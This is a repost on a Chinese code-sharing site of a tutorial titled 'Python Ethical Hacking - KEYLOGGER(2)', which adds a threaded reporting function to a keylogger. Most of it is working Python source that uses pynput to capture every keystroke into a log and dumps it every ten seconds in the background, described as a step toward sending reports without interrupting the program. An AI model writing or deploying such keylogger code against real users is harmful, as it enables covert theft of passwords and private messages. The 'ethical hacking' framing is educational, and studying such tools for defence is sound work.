码迷,mamicode.com
首页 > 编程语言 > 详细

Python Ethical Hacking - KEYLOGGER(2)

时间:2019-10-05 12:42:20      阅读:101      评论:0      收藏:0      [点我收藏+]

标签:div   second   The   ext   boa   end   read   cas   under   

Report function:

  • Run in the background.
  • Don‘t interrupt program execution.
  • Every X seconds, send the report.

->Great case for threading.

#!/usr/bin/env python
import threading
import pynput.keyboard

log = ""


def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except AttributeError:
        if key == key.space:
            log = log + " "
        else:
            log = log + " " + str(key) + " "


def report():
    global log
    print(log)
    log = ""
    timer = threading.Timer(10, report)
    timer.start()


keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    report()
    keyboard_listener.join()

技术图片

 

Python Ethical Hacking - KEYLOGGER(2)

标签:div   second   The   ext   boa   end   read   cas   under   

原文地址:https://www.cnblogs.com/keepmoving1113/p/11624189.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!